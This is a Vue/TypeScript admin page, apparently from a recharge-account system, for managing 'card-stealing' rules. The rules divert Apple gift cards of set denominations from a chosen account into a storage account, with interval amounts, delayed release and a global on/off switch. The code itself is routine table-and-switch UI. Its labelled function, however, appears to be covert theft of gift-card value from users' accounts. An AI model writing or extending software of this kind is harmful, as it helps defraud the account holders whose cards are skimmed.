<template>
  <div class="container">
    <Breadcrumb :items="['充值账户管理', '规则管理']" />
    <a-card class="general-card" title="规则管理">
      <a-space direction="vertical" size="large" fill>
        <a-row justify="space-between">
          <a-button type="primary" @click="addAppleCardStealRuleModal">
            添加
          </a-button>
          <!-- 靠右对齐 -->
          <a-switch
            v-model="state.switchValue"
            :checked-value="1"
            :unchecked-value="0"
            checked-text="开启"
            unchecked-text="关闭"
            :beforeChange="setAppleCardStealSetting"
          />
        </a-row>
        <a-table
          :loading="loading"
          :pagination="{
            current: pagination.current,
            pageSize: pagination.pageSize,
            total: pagination.total,
            pageSizeOptions: [10, 20, 50, 100],
            showPageSize: true
          }"
          :columns="columns"
          :data="renderData"
          :scroll="{ x: 1080 }"
          @page-change="onPageChange"
          @page-size-change="onPageSizeChange"
        >
          <template #targetUserId="{ record }">
            {{
              state.userSimpleList.filter(
                item => item.id === record.targetUserId
              ).length > 0
                ? state.userSimpleList.filter(
                    item => item.id === record.targetUserId
                  )[0].userName
                : '暂无'
            }}
          </template>
          <template #storageUserId="{ record }">
            {{
              state.userSimpleList.filter(
                item => item.id === record.storageUserId
              ).length > 0
                ? state.userSimpleList.filter(
                    item => item.id === record.storageUserId
                  )[0].userName
                : '暂无'
            }}
          </template>
          <template #status="{ record }">
            <a-switch
              :model-value="record.status"
              :checked-value="1"
              :unchecked-value="0"
              :before-change="
                (newValue: number) => setStealStatus(record.id, newValue)
              "
            >
              <template #checked-icon>
                <icon-check />
              </template>
              <template #unchecked-icon>
                <icon-close />
              </template>
            </a-switch>
          </template>
          <template #operations="{ record }">
            <a-space size="small">
              <a-tooltip content="修改">
                <a-button
                  size="small"
                  status="warning"
                  @click="showAddModel(record)"
                >
                  <template #icon>
                    <icon-pen />
                  </template>
                </a-button>
              </a-tooltip>
              <a-tooltip content="删除">
                >
                <a-button
                  size="small"
                  status="danger"
                  @click="deleteAppleCardHandler(record)"
                >
                  <template #icon>
                    <icon-delete />
                  </template>
                </a-button>
              </a-tooltip>
            </a-space>
          </template>
        </a-table>
      </a-space>
    </a-card>
    <AddModal
      v-model:visible="state.addModalVisible"
      :rule="state.targetRule"
    />
  </div>
</template>

<script lang="ts" setup>
import useLoading from '@/hooks/loading';
import { Pagination } from '@/types/global';

import { onMounted, reactive, ref, watch } from 'vue';
import { Notification, TableColumnData } from '@arco-design/web-vue';
import AddModal from './components/add-modal.vue';
import {
  AppleCardStealList,
  AppleCardStealListParams,
  deleteAppleCardStealRule,
  getAppleCardStealList,
  getAppleCardStealSettings,
  setAppleCardStealSettings,
  setAppleCardStealStatus
} from '@/api/apple-card-steal-settings';
import { getAllSimpleUserList, UserSimpleInfo } from '@/api/user';

const basePagination: Pagination = {
  current: 1,
  pageSize: 50
};
const pagination = reactive({
  ...basePagination
});
const columns: TableColumnData[] = [
  {
    title: '序号',
    dataIndex: 'index',
    slotName: 'index',
    width: 50,
    minWidth: 40,
    render: (data: { rowIndex: number }) => {
      return data.rowIndex + 1;
    }
  },
  {
    title: '规则名称',
    dataIndex: 'name'
  },
  {
    title: '偷卡账户',
    dataIndex: 'targetUserId',
    slotName: 'targetUserId'
  },
  {
    title: '存储账户',
    dataIndex: 'storageUserId',
    slotName: 'storageUserId',
    ellipsis: true,
    tooltip: true
  },
  {
    title: '间隔金额',
    dataIndex: 'amount',
    ellipsis: true,
    tooltip: true
  },
  {
    title: '偷取面额',
    dataIndex: 'targetAmount',
    ellipsis: true,
    tooltip: true
  },
  {
    title: '延迟投放',
    dataIndex: 'intervalTime',
    ellipsis: true,
    tooltip: true
  },
  {
    title: '总额合计',
    dataIndex: 'stealTotalAmount',
    ellipsis: true,
    tooltip: true
  },
  {
    title: '状态',
    dataIndex: 'status',
    slotName: 'status'
  },
  {
    title: '创建时间',
    dataIndex: 'createdAt',
    slotName: 'createdAt'
  },
  {
    title: '操作',
    dataIndex: 'operations',
    slotName: 'operations',
    fixed: 'right',
    width: 220
  }
];
const generateFormModel = () => {
  return {
    account: '',
    password: ''
  };
};
const { loading, setLoading } = useLoading(true);
const renderData = ref<AppleCardStealList[]>([]);
const formModel = ref(generateFormModel());
const state = reactive<{
  addModalVisible: boolean;
  deployModalVisible: boolean;
  accountDetailVisible: boolean;
  targetRule: AppleCardStealList | null;
  switchValue: number;
  userSimpleList: UserSimpleInfo[];
}>({
  addModalVisible: false,
  deployModalVisible: false,
  accountDetailVisible: false,
  targetRule: null,
  switchValue: 0,
  userSimpleList: []
});

const fetchData = async (
  params: AppleCardStealListParams = { current: 1, pageSize: 50 }
) => {
  setLoading(true);
  try {
    const {
      data: { list, total }
    } = await getAppleCardStealList(params);
    renderData.value = list;
    pagination.current = params.current;
    pagination.pageSize = params.pageSize;
    pagination.total = total;
  } catch (err) {
    // you can report use errorHandler or other
  } finally {
    setLoading(false);
  }
};
const onPageChange = (current: number) => {
  fetchData({ ...pagination, current });
};
const onPageSizeChange = (pageSize: number) => {
  fetchData({ ...pagination, pageSize });
};
const search = () => {
  fetchData({
    ...basePagination,
    ...formModel.value
  } as unknown as AppleCardStealListParams);
};

const deleteAppleCardHandler = async (record: AppleCardStealList) => {
  try {
    await deleteAppleCardStealRule({ id: record.id });
  } catch {
    Notification.error({
      id: 'appleAccountNotice',
      content: '删除苹果卡失败',
      closable: true
    });
  } finally {
    fetchData({ ...pagination });
  }
};

const showAddModel = (record: AppleCardStealList) => {
  state.addModalVisible = true;
  state.targetRule = record;
};
watch(
  () => state.addModalVisible,
  val => {
    if (!val) {
      search();
      getAppleCardStealSetting();
      getAllSimpleUsers();
    }
  }
);

const addAppleCardStealRuleModal = () => {
  state.addModalVisible = true;
  state.targetRule = null;
};

// 获取是否开启偷卡
const getAppleCardStealSetting = async () => {
  const { data } = await getAppleCardStealSettings();
  state.switchValue = data.stealStatus;
};

// 设置是否开启偷卡
const setAppleCardStealSetting = async (value: number) => {
  state.switchValue = value;
  await setAppleCardStealSettings({ stealStatus: value });
  return true;
};

const setStealStatus = async (id: number, value: number) => {
  await setAppleCardStealStatus({ id, status: value });
  // 相应对的record也修改状态
  renderData.value.forEach(item => {
    if (item.id === id) {
      item.status = value;
    }
  });
};

const getAllSimpleUsers = async () => {
  const { data } = await getAllSimpleUserList();
  state.userSimpleList = data.list;
};

onMounted(() => {
  fetchData();
  getAppleCardStealSetting();
  getAllSimpleUsers();
});
</script>
